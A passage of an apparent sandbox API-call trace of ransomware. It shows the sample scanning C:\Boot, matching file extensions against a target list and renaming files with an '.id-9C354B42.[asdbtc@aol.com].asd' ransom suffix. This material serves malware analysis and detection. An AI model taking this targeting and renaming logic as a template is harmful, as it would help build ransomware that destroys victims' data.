(hObject=0x164) returned 1 [0040.527] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0040.528] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.528] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.528] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0040.528] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0040.528] lstrlenW (lpString=".doc") returned 4 [0040.528] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.528] lstrlenW (lpString=".docx") returned 5 [0040.528] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.528] lstrlenW (lpString=".pdf") returned 4 [0040.528] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.528] lstrlenW (lpString=".xls") returned 4 [0040.528] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.528] lstrlenW (lpString=".xlsx") returned 5 [0040.528] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.528] lstrlenW (lpString=".ppt") returned 4 [0040.528] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.528] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0040.528] lstrlenW (lpString=".zip") returned 4 [0040.528] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.528] lstrlenW (lpString=".rar") returned 4 [0040.528] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.528] lstrlenW (lpString=".bz2") returned 4 [0040.528] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.528] lstrlenW (lpString=".7z") returned 3 [0040.528] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.531] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=89152) returned 1 [0040.531] CloseHandle (hObject=0x164) returned 1 [0040.531] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0040.532] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.532] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.532] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=3694080) returned 1 [0040.532] CloseHandle (hObject=0x164) returned 1 [0040.532] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0040.532] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.532] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0040.833] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=3876772) returned 1 [0040.833] CloseHandle (hObject=0x164) returned 1 [0040.833] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0040.833] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.833] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0040.834] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=2371360) returned 1 [0040.834] CloseHandle (hObject=0x164) returned 1 [0040.834] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0040.834] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.834] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0040.834] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=47452) returned 1 [0040.834] CloseHandle (hObject=0x164) returned 1 [0040.835] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0040.835] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.835] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.835] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=93248) returned 1 [0040.835] CloseHandle (hObject=0x164) returned 1 [0040.835] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0040.835] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.835] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.836] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=90688) returned 1 [0040.836] CloseHandle (hObject=0x164) returned 1 [0040.836] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0040.836] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.836] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.553] Sleep (dwMilliseconds=0x64) [0041.738] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.738] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.738] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.738] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=76352) returned 1 [0041.738] CloseHandle (hObject=0x168) returned 1 [0041.738] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0041.738] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.738] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.738] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.738] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.738] lstrlenW (lpString=".doc") returned 4 [0041.738] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.738] lstrlenW (lpString=".docx") returned 5 [0041.738] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.738] lstrlenW (lpString=".pdf") returned 4 [0041.739] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.739] lstrlenW (lpString=".xls") returned 4 [0041.739] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.739] lstrlenW (lpString=".xlsx") returned 5 [0041.739] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.739] lstrlenW (lpString=".ppt") returned 4 [0041.739] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.739] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.739] lstrlenW (lpString=".zip") returned 4 [0041.739] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.739] lstrlenW (lpString=".rar") returned 4 [0041.739] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.739] lstrlenW (lpString=".bz2") returned 4 [0041.739] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.739] lstrlenW (lpString=".7z") returned 3 [0041.739] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.739] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.739] lstrlenW (lpString=".dbf") returned 4 [0041.739] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.739] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.739] lstrlenW (lpString=".1cd") returned 4 [0041.739] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.739] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.739] lstrlenW (lpString=".jpg") returned 4 [0041.739] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.739] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.739] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.739] lstrlenW (lpString=".doc") returned 4 [0041.739] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.739] lstrlenW (lpString=".docx") returned 5 [0041.739] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.739] lstrlenW (lpString=".pdf") returned 4 [0041.740] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.740] lstrlenW (lpString=".xls") returned 4 [0041.740] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.740] lstrlenW (lpString=".xlsx") returned 5 [0041.740] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.740] lstrlenW (lpString=".ppt") returned 4 [0041.740] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.740] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.740] lstrlenW (lpString=".zip") returned 4 [0041.740] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.740] lstrlenW (lpString=".rar") returned 4 [0041.740] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.740] lstrlenW (lpString=".bz2") returned 4 [0041.740] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.740] lstrlenW (lpString=".7z") returned 3 [0041.740] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.740] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.740] lstrlenW (lpString=".dbf") returned 4 [0041.740] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.740] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.740] lstrlenW (lpString=".1cd") returned 4 [0041.740] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.740] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0041.740] lstrlenW (lpString=".jpg") returned 4 [0041.740] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.740] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.740] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.740] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.741] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=75344) returned 1 [0041.741] CloseHandle (hObject=0x168) returned 1 [0041.741] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0041.741] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.741] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.741] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.741] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.741] lstrlenW (lpString=".doc") returned 4 [0041.741] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.741] lstrlenW (lpString=".docx") returned 5 [0041.741] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.741] lstrlenW (lpString=".pdf") returned 4 [0041.741] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.741] lstrlenW (lpString=".xls") returned 4 [0041.741] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.741] lstrlenW (lpString=".xlsx") returned 5 [0041.741] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.741] lstrlenW (lpString=".ppt") returned 4 [0041.741] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.741] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.741] lstrlenW (lpString=".zip") returned 4 [0041.741] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.741] lstrlenW (lpString=".rar") returned 4 [0041.742] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.742] lstrlenW (lpString=".bz2") returned 4 [0041.742] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.742] lstrlenW (lpString=".7z") returned 3 [0041.742] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.742] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.742] lstrlenW (lpString=".dbf") returned 4 [0041.742] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.742] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.742] lstrlenW (lpString=".1cd") returned 4 [0041.742] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.742] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.742] lstrlenW (lpString=".jpg") returned 4 [0041.742] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.742] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.742] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.742] lstrlenW (lpString=".doc") returned 4 [0041.742] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.742] lstrlenW (lpString=".docx") returned 5 [0041.742] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.742] lstrlenW (lpString=".pdf") returned 4 [0041.742] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.742] lstrlenW (lpString=".xls") returned 4 [0041.742] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.742] lstrlenW (lpString=".xlsx") returned 5 [0041.742] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.742] lstrlenW (lpString=".ppt") returned 4 [0041.742] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.742] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.742] lstrlenW (lpString=".zip") returned 4 [0041.742] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.742] lstrlenW (lpString=".rar") returned 4 [0041.742] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.742] lstrlenW (lpString=".bz2") returned 4 [0041.743] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.743] lstrlenW (lpString=".7z") returned 3 [0041.743] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.743] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.743] lstrlenW (lpString=".dbf") returned 4 [0041.743] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.743] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.743] lstrlenW (lpString=".1cd") returned 4 [0041.743] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.743] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0041.743] lstrlenW (lpString=".jpg") returned 4 [0041.743] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.743] lstrcmpiW (lpString1=".exe", lpString2=".asd") returned 1 [0041.743] lstrlenW (lpString="memtest.exe") returned 11 [0041.743] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.743] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=485760) returned 1 [0041.743] CloseHandle (hObject=0x168) returned 1 [0041.743] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0041.744] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.744] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.744] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0041.744] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0041.744] lstrlenW (lpString=".doc") returned 4 [0041.744] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0041.744] lstrlenW (lpString=".docx") returned 5 [0041.744] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0041.744] lstrlenW (lpString=".pdf") returned 4 [0041.744] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0041.744] lstrlenW (lpString=".xls") returned 4 [0041.744] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0041.744] lstrlenW (lpString=".xlsx") returned 5 [0041.744] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0041.744] lstrlenW (lpString=".ppt") returned 4 [0041.744] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0041.744] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0041.744] lstrlenW (lpString=".zip") returned 4 [0041.744] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0041.744] lstrlenW (lpString=".rar") returned 4 [0041.744] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0041.744] lstrlenW (lpString=".bz2") returned 4 [0041.744] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0041.744] lstrlenW (lpString=".7z") returned 3 [0041.744] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0041.744] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0041.744] lstrlenW (lpString=".dbf") returned 4 [0041.744] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0041.744] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0041.744] lstrlenW (lpString=".1cd") returned 4 [0041.744] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0041.745] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0041.745] lstrlenW (lpString=".jpg") returned 4 [0041.745] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0041.745] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0041.745] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0041.745] lstrlenW (lpString=".doc") returned 4 [0041.745] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0041.745] lstrlenW (lpString=".docx") returned 5 [0041.745] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0041.745] lstrlenW (lpString=".pdf") returned 4 [0041.745] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0041.745] lstrlenW (lpString=".xls") returned 4 [0041.745] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0041.745] lstrlenW (lpString=".xlsx") returned 5 [0041.745] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0041.745] lstrlenW (lpString=".ppt") returned 4 [0041.745] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0041.745] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0041.745] lstrlenW (lpString=".zip") returned 4 [0041.745] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0041.745] lstrlenW (lpString=".rar") returned 4 [0041.745] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0041.745] lstrlenW (lpString=".bz2") returned 4 [0041.745] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0041.745] lstrlenW (lpString=".7z") returned 3 [0041.745] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0041.745] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0041.745] lstrlenW (lpString=".dbf") returned 4 [0041.745] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0041.745] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0041.745] lstrlenW (lpString=".1cd") returned 4 [0041.745] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0041.745] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0041.745] lstrlenW (lpString=".jpg") returned 4 [0041.746] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0041.746] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.746] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.746] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.746] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=88144) returned 1 [0041.746] CloseHandle (hObject=0x168) returned 1 [0041.746] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0041.746] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.746] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.746] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.746] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.746] lstrlenW (lpString=".doc") returned 4 [0041.746] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.746] lstrlenW (lpString=".docx") returned 5 [0041.747] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.747] lstrlenW (lpString=".pdf") returned 4 [0041.747] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.747] lstrlenW (lpString=".xls") returned 4 [0041.747] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.747] lstrlenW (lpString=".xlsx") returned 5 [0041.747] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.747] lstrlenW (lpString=".ppt") returned 4 [0041.747] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.747] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0041.747] lstrlenW (lpString=".zip") returned 4 [0041.747] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.747] lstrlenW (lpString=".rar") returned 4 [0041.747] lstrcmpiW 